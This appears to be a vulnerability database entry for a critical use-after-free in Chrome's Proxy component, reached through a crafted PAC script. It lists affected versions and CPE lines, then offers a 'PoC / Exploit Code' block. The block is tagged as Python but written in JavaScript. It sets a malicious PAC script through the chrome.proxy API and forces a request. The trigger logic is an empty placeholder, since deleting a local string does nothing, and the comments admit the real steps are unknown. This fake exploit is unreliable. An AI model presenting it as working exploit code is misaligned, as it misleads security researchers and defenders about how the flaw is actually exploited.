Use after free in Proxy in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted PAC script. (Chromium security severity: Critical)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.216
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual Proof of Concept for CVE-2026-9887
// Triggering UAF in Chrome Proxy via crafted PAC script
// 1. Define a malicious PAC script designed to trigger the memory corruption
// The specific logic inside FindProxyForURL would be crafted to manipulate
// the internal state of the Proxy component.
function triggerVulnerability() {
const maliciousPac = `
function FindProxyForURL(url, host) {
// Specific logic to cause UAF in Proxy component
// This might involve specific string operations or object handling
// that triggers the bug in Chrome < 148.0.7778.216
var temp = "A".repeat(10000);
delete temp;
return "PROXY 127.0.0.1:8080";
}
`;
// 2. Set the PAC script via the proxy settings API (Conceptual)
// In a real attack scenario, this might be done via a compromised extension
// or by modifying system network settings if the attacker has local access.
chrome.proxy.settings.set({
value: {
mode: "pac_script",
pacScript: {
data: maliciousPac
}
},
scope: "regular"
}, function() {
if (chrome.runtime.lastError) {
console.error("Error setting PAC:", chrome.runtime.lastError);
} else {
console.log("Malicious PAC script set. Vulnerability condition prepared.");
// 3. Trigger a network request to force the browser to evaluate the PAC script
fetch("http://example.com");
}
});
}
// Execute the trigger
triggerVulnerability();